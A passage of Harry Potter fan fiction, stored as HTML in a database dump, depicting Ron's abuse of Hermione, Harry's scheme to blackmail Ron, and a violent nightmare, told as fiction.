style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;If you know what&#8217;s good for you, you&#8217;ll forget everything you\nheard.&#8221; Ron said closing in on Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh I think your girlfriend would love to know what her\nboyfriend has been up to.&#8221; Harry saw Ron&#8217;s eyes narrow in hatred.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You stay away from my girl Potter, she doesn&#8217;t need any\noutside influence coming in and changing her.&nbsp;\nBelieve it or not I know you are developing a little crush on her.&nbsp; I won&#8217;t allow that.&nbsp; She belongs to me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Is that so?&#8221; Harry eyes narrowed, challenging.&nbsp; &#8220;I know what you do to her.&#8221; Harry said with\na smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron laughed, &#8220;You don&#8217;t know anything, keep your mouth shut\nand don&#8217;t go stirring up trouble.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Or what?&nbsp;&nbsp; I&#8217;m not\nafraid of you like the rest of this bloody school is.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Watch your back Potter.&#8221; Ron turned to go.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Watch yours,&#8221; Harry spat which caused Ron to turn and face\nhim.&nbsp; &#8220;It&#8217;s seven years in Azkaban for\nwhat you&#8217;re doing; you wouldn&#8217;t want me spilling the beans now would you?&#8221;\nHarry said looking Ron right in the eye.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t know what you&#8217;re talking about.&#8221; Ron glared at\nHarry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry smirked, &#8220;Sure you don&#8217;t.&#8221; He was sarcastic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Look here, I will tell you only once.&nbsp; You stay away from Hermione. I won&#8217;t be held\nresponsible for what happens if you go near her.&#8221; Ron spat</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Unfortunately for you I am her partner for\nTransfiguration.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes, that maybe true.&nbsp;\nI will make sure that she knows not to go near you any other time but\nthat class.&#8221; Ron glared one last time and turned walking away from Harry.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Breakfast was over fairly quickly and the students had made\ntheir way to their first classes of the morning. The Gryffindors and Slytherins\ngathered in the greenhouse for Herbology.&nbsp;\nHarry sat in the row behind Hermione and Ron; he was staring at the back\nof her head.&nbsp; He saw Ron turn and glare\nat him before returning his vision to the front of the class.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The class handed in their homework, Professor Sprout looked\nat Hermione. &#8220;Why haven&#8217;t you completed the assignment Miss Granger?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I uh, well I forgot.&#8221; Hermione said glancing down at her\nfingers in shame.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;There is no excuse Miss Granger, when I give assignments I\nexpect them to be complete. I gave you enough time to complete it, five points\nfrom Gryffindor Miss Granger.&#8221; Sprout said with a smirk. She continued to go\naround and gather the student&#8217;s homework.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry didn&#8217;t have to look up at Ron and Hermione as he could\nsee what Hermione was doing anyway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron and Hermione were working on potting a rare and night\nblooming orchidbelles. When Ron&#8217;s aggravated voice\nechoed in Hermione&#8217;s ear.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Damn-it woman, you&#8217;re doing it wrong.&#8221; Ron bellowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No I&#8217;m not.&#8221; She whispered, &#8220;I&#8217;m following the book, look.&#8221;\nHermione pointed to the page where Sprout had told them to look.&nbsp; &#8220;The rocks go in first.&#8221; She argued.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I still say you put the potting soil in first, my mother\ndid it that way for years.&#8221; Ron growled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That&#8217;s not true Ron, your mother doesn&#8217;t have night\nblooming orchidbelles, and I should know I work in\nthat damn garden she doesn&#8217;t.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron didn&#8217;t like it when she argued with him in public, what\nhe says should never be second-guessed.&nbsp;\nHermione bent down reaching for the bag of potting soil on the\nground.&nbsp; Ron elbowed her flowerpot hard;\nthe plant fell off the table and shattered on the floor.&nbsp; She yelped and jumped back, she heard\nprofessor Sprout calling her name in anger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Miss Granger, do you know how rare that flower is.&#8221; Sprout\nspat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;But I didn&#8217;t&#8230;.&#8221; Hermione was interrupted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Detention Miss Granger, you have no consideration for\nliving things, perhaps you will learn some.&#8221;&nbsp;\nSprout was angry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione looked at Ron and he leaned in closer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That&#8217;ll teach you not to argue with me in class Hermione.&#8221;\nRon went back to work on his flowerpot.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry wanted to throw something at the back of Ron&#8217;s head;\nhe grabbed a large clump of dirt and threw it at the red head.&nbsp; Ron&#8217;s head snapped around as he glared at\nHarry who was glaring at him.&nbsp;&nbsp;&nbsp; Harry&#8217;s\nglare slowly melted away into a smirk when he lifted his flowerpot high in the\nair and &#8216;accidentally&#8217; let it fall to the ground and shatter.&nbsp; &#8220;Oops.&#8221; Harry said as Professor Sprout turned\nand glared at Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Mr. Potter, detention.&#8221; Sprout spat, she was bitterly\nangry.&nbsp; &#8220;Careless Gryffindors.&#8221; She\nspat.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron was positively ready to scream; he knew that Harry did\nthat on purpose. For he was smiling.&nbsp; He\nwas going to kill that Harry Potter if it&#8217;s the last thing he&#8217;ll ever do.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The rest of the day went by pretty quickly.&nbsp; By the time five o&#8217;clock rolled around\nHermione had received a fair share of bruises and her arms, from Ron dragging\nher around, whenever he looked foolish for something he did, he made her believe\nthat it was her fault and she was getting what she deserved.&nbsp; Around eight Hermione reported to the\ngreenhouse for detention.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry was already there when she arrived; he was sitting on\na table swinging his legs back and forth.&nbsp;\nHe noticed she was still looking to the floor, even though Ron wasn&#8217;t\naround.&nbsp; In his head he heard everything\nthat Ron told her and what she was allowed to do and not to do while in her\ndetention. The detention he got her on purpose.&nbsp;\nOf course she agreed after a few slaps in the face for her\nbacktalk.&nbsp; Harry never wanted to hurt\nsomeone more then Ron Weasley. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Professor Sprout came out of her office disrupting Harry&#8217;s\nthoughts on Hermione.&nbsp; She ordered the\ntwo of them to clean the greenhouse perfectly.&nbsp;\nAnd that when they were finished to come and get her.&nbsp; Professor Sprout left the greenhouse and the\nstudents started on their detention.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The two of them worked in silence as Hermione cleared away\nthe broken pots and debris.&nbsp; Harry\npackaged up the potting soil and swept the floor.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry didn&#8217;t like the silence; his own thoughts would start\nto bother him.&nbsp; He had to make\nconversation or he would go insane.&nbsp;\n&#8220;This is sure fun isn&#8217;t it?&#8221; He was sarcastic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione didn&#8217;t answer; she just shook her head no.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Quidditch tryouts are tomorrow, are you going to try out?&#8221;\nHarry asked pleasantly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione simply sighed and continued on her cleaning without\nuttering a peep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry understood why she wasn&#8217;t talking; Ron&#8217;s behavior was\ninexcusable.&nbsp; He could see why she was\nafraid of him.&nbsp; &#8220;You know you fly really\nwell.&#8221; Harry said softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The bag of soil dropped from her hands and she turned to\nlook at him, her eyes were full of worry.&nbsp;\n&#8220;You&#8212;you saw me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You can&#8217;t tell Ron.&#8221; She said in fear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh I won&#8217;t.&#8221;&nbsp; He saw\na glimmer of relief flicker in her eyes.&nbsp;\nHe inwardly smiled he finally got her to say something to him.&nbsp; &#8220;You really should try out for the team\ntomorrow.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione shook her head &#8220;no, I couldn&#8217;t.&nbsp; Ron doesn&#8217;t want me playing.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What should it matter what he wants, this is you.&nbsp; What do you want to do?&#8221; Harry stepped closer\nto her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Me?&#8221; Hermione asked unsure.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded, &#8220;yes you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione glanced at the floor a moment and smiled lightly,\n&#8220;I want to play,&#8221; She looked up at him.&nbsp;\nHer smile faded and was replaced by her fear, &#8220;But I dare not.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What would it hurt if you played?&#8221; Harry asked, in his head\nher heard her voice saying <i style="mso-bidi-font-style:normal">&#8216;If you only\nknew&#8217;</i>&nbsp; &#8220;What if I can guarantee that\nyou won&#8217;t regret the decision to at least try out?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How can you do that?&#8221; She eyed him suspiciously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I have my ways.&#8221; Harry said leaning against the table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione sighed and backed away from him, &#8220;I don&#8217;t\nknow.&nbsp; I&#8217;m not even supposed to be\ntalking to you.&#8221;&nbsp; She wanted to kick\nherself for her confession.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why can&#8217;t you talk to me?&#8221;&nbsp;\nHarry pushed himself away from the table and took a step towards\nher.&nbsp; He watched her draw back and jump\nout of his way.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It&#8217;s just not right.&#8221; Hermione said avoiding his gaze.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I think you don&#8217;t do anything that might upset Weasley,\nbecause of what happens when he gets mad.&#8221; He said softly, not accusing but\ngentle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What makes you say that?&#8221; Hermione did not lift her head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You should be able to do whatever you want without the\nworry that someone is going to lash out at you.&#8221; Harry stepped towards her, she\ndidn&#8217;t seem to notice.&nbsp; He could hear her\nvery confused thoughts swirling around in her mind.&nbsp; He had never seen someone look so lost and\nhelpless before in his entire life.&nbsp;\nThere is no one that cares for her, no one to take care of her when she\nis hurt, no one to lift her spirits when she is sad, and no one to bring a\nsmile to her face.&nbsp;&nbsp; She is completely\nalone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry gently put his arms around her; she started to panic\nand tried to jump away from him.&nbsp; He\ncould hear her very troubled thoughts.&nbsp;\nNo one had ever simply held her.&nbsp;\nIn fact even after spending last night with Ron, it ended with him just\nleaving her out in the cold, no affection no nothing.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No please let go of me,&#8221; Hermione begged desperation\nringing through her voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m not going to hurt you.&#8221; Harry said softly.&nbsp; &#8220;I promise.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">His soft tone made her stop pushing; Ron never used any\nkindness towards her whatsoever without realizing it she leaned into him.&nbsp; Hermione found herself feeling safe and\nsecure within his embrace, <i style="mso-bidi-font-style:normal">&#8216;I am going to\nbe so dead if Ron sees me.&#8217; </i>She thought to herself and felt a cold shudder\nrun her spine.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You don&#8217;t have to worry about Weasley, I again put sleeping\npotion into his drink at dinner.&#8221; Harry&#8217;s arms tightened around her.&nbsp; He felt her relax as Hermione rested her head\non his shoulder.&nbsp; Harry knew from Neville\nthat Hermione had parents, but they died.&nbsp;\nHe wondered if this was the first time she had just been held in a\nreally long time.&nbsp; The thought of that\nmade him sigh with regret for her. He needed to think about something else.\n&#8220;Are you going to try out tomorrow?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t know.&#8221; Hermione answered quietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Remember, do whatever you want to do. If you want to try\nout then do it.&nbsp; You shouldn&#8217;t let\nanything stand in your way.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;But Ron will&#8212;&#8221; Hermione paused, catching herself. She\nalmost said too much.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just try out, you won&#8217;t regret it.&nbsp; Forget about Weasley.&nbsp; This is about what you want to do, not about\nhim.&nbsp; You do want to try out don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione thought a moment; she would love to try out.&nbsp; &#8220;Yes I do, I really want too.&#8221;&nbsp; And she pulled away from him.&nbsp; She still didn&#8217;t look up at him &#8220;We should\nfinish our detention and then go back to the tower.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded.&nbsp; He\nswore he could see a little light pink tinge creeping up on her cheeks.&nbsp; He simply smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They continued in silence while the finished up cleaning the\ngreenhouse.&nbsp; After Professor Sprout\napproved of the well accomplished cleaning she sent Harry and Hermione back up\nto the tower.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione whispered a quiet good night to Harry and she\nquickly fled up the stairs to the girl&#8217;s dorm not even waiting for a\nreply.&nbsp; She regretted tomorrow, but now\nwas not the time to think about that.&nbsp;\nShe really wanted to try out; hopefully it wouldn&#8217;t be that bad.&nbsp; Hopefully.&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry would make sure that Hermione would be able to try out\ntomorrow, without fear of Ron.&nbsp; He had an\nidea and he was sure it would work.&nbsp;\nTomorrow would be a new day for Hermione.&nbsp; He was sure of it.&nbsp;&nbsp;&nbsp; Harry walked up the stairs to the boy&#8217;s\ndorm and retired for the night as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">=======</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Well that&#8217;s it for chapter 5, stay tuned for chapter 6.&nbsp; Remember read and review. Thanks, Ryoko Have an exciting H/Hr day *smiles*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(24, 6, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: Not mine, Not mine, Definitly not mine. The\nentire HP world belongs to JK Rowlings.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;&nbsp; Hidden Beneath</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n6&#8212; Blackmail</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry really didn&#8217;t feel like\nsleeping, he needed to get some thing on Ron that would make him let Hermione\nat least try out for the Quidditch Team tomorrow.&nbsp; He remembered something about Ron not doing\nhis own work, which would definitely get him expelled.&nbsp; Harry stood from his bed and pulled on his\npants and a black T-shirt.&nbsp; He went over\nto Neville&#8217;s bed and shook Neville&#8217;s shoulder hard.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville lifted his head up, and\ngrumpily said &#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I need to know where you can find\nany term papers or final reports from any class that Weasley might have.&#8221; Harry\nwhispered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville nodded, &#8220;Well most\nprofessors keep them in a locked cabinet in their offices.&#8221;&nbsp; He sat up more. &#8220;Why do you want past\nreports?&nbsp; This year has just begun it&#8217;s not\nlike you could copy and cheat off anyone.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t want it for that, I do my\nown work.&nbsp; But Weasley doesn&#8217;t.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You can&#8217;t get him expelled if\nthat&#8217;s what you&#8217;re thinking.&nbsp; I already\nthought of that but it would be worse for Hermione when she got home for\nholidays.&nbsp; Ron&#8217;s family doesn&#8217;t take very\ngood care of her; she&#8217;s treated worse then a house elf.&nbsp; Imagine how it would be if Ron got caught\ncheating they would blame Hermione and say that she did it on purpose, that she\nwanted Ron to fail.&#8221; Neville sighed. &#8220;I always think about her first before\ntrying to go after Ron.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I can&#8217;t prove to anyone that\nWeasley smacks her around, the evidence disappears somewhat.&nbsp; So I&#8217;ll do the next best thing to him,\nthreaten him by exposing his oh so wonderful grades.&#8221; Harry said with a grin as\nwell as a hint of sarcasm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville nodded, &#8220;Okay, can I get\nback to sleep now?&nbsp; Not all of us are\nfortunate to have been given a sleeping potion.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure.&#8221; Harry grinned.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After Neville settled back against\nhis pillow Harry went to the foot of his bed and grabbed his invisibility cloak\nfrom his trunk.&nbsp; He threw it over himself\nand headed out of the boys dorm and the tower.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry walked slowly down the\nhalls, avoiding Filch the caretaker, he turned the corner and he stood before\nthe History of Magic classroom.&nbsp; He\nopened the door quietly, careful not to make a sound and alert Filch.&nbsp; He stepped into the room and closed the door\nbehind him just as quietly. He walked towards Professor Binns&#8217; office and\nopened the door.&nbsp; A large black file\ncabinet stood in the corner.&nbsp; He went\nright to it.&nbsp; Harry tried to pull it open\nbut it wouldn&#8217;t budge.&nbsp; &#8220;Alohomora&#8221; Harry\nwhispered, he heard the cabinet rattle a bit and he pulled the door open.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He opened the inside drawer and\nsearched the dividers for Ron&#8217;s name.&nbsp;\nHarry smirked <i style="mso-bidi-font-style:normal">&#8216;Ah ha&#8217;</i> He said\nto himself.&nbsp; He opened Ron&#8217;s folder and\nfound all his reports from past years.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;This should do it.&#8217;</i>&nbsp; Harry thought to himself.&nbsp; He continued to gather files, searching every\nreport, every term paper and final essays of Ron&#8217;s.&nbsp; Harry laughed to himself removing the masking\ncharms on the papers.&nbsp; And sure enough\nthere was Hermione&#8217;s neat and tidy handwriting, nothing it all like the sloppy\nmess Ron&#8217;s was in.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took the papers out of the\nfolders and closed the drawer.&nbsp; After\nmaking sure everything was the exact same way as when he entered the room, he\ncarefully left the classroom, still careful not to make a sound.&nbsp; He wandered down the hall and back to the\ntower.&nbsp; Harry snickered to himself as he\ngot into bed thinking now that idiot Ron Weasley is going to explode at just\nthe mere sight of&nbsp; his papers in Harry&#8217;s\nhand.&nbsp; Ron would not try and stop\nHermione from even trying out for the team.&nbsp;\nHarry settled into sleep, with a final yawn Harry drifted off to dream\nland&#8212;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">After swinging a sword hitting different people at every tern, hours\npassed as he continued to slaughter Voldemort&#8217;s loyal Death Eaters as well as\ntheir wives, and children.&nbsp; Harry let out\nof breath holding a sword glanced around, several bodies bloody and broken,\nseveral with missing heads.&nbsp; Stomachs\ntorn with internal organs spewing out of the wounds were lying all around\nhim.&nbsp; The smell of death and burning\nflesh was in the air; Harry&#8217;s stomach heaved and he bent over, throwing up from\nthe smell and sight at what he had done. </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What&#8217;s the matter Harry Potter, too much for you to handle.&#8221; A voice\nhissed at him.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Harry wiped his mouth with the back of his hand and stood up\nstraight.&nbsp; He glared menacingly at\nVoldemort.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Face the truth Harry Potter, you are exactly like me.&nbsp; We do what we must to get the desired result;\nyou want to kill me so you slaughter those who are innocent to get to me.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I am not like you.&#8221; Harry spat.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Voldemort stepped down, &#8220;Yes you are.&nbsp;\nYou will never be rid of this Harry Potter it will always be in your\nthoughts, in your mind. You&#8217;ll be so stricken that you will bring your own life\nto an end.&#8221;&nbsp; Voldemort laughed.&nbsp; &#8220;There will be no one to save you, you weak\npathetic fool.&#8221;&nbsp; He laughed again and\nlifted his wand &#8220;Time to die Harry Potter.&nbsp;&nbsp;\nThe Boy Who Lived will become The Boy Who Died.&#8221;&nbsp; He laughed &#8220;Avada Keda&#8212;</i> The morning alarm\nbell wrung bright and early, Harry opened his eyes.&nbsp; &#8220;I really hate that dream.&#8221; He said quietly\nto no one in particular.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron yawned, stood and\nstretched.&nbsp; He scratched his rear end\nwhile walking towards the bulletin wall.&nbsp;\nThere was a large note stating that Quidditch tryout were being moved to\ntwelve thirty at lunch down at the Quidditch pitch.&nbsp; Ron smiled he was going to knock that Harry\nPotter right off his broom when he zoomed for the snitch.&nbsp; He will be so humiliated.&nbsp; Ron&#8217;s grin turned into a sinister smirk, in\nfact he might do just that.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p 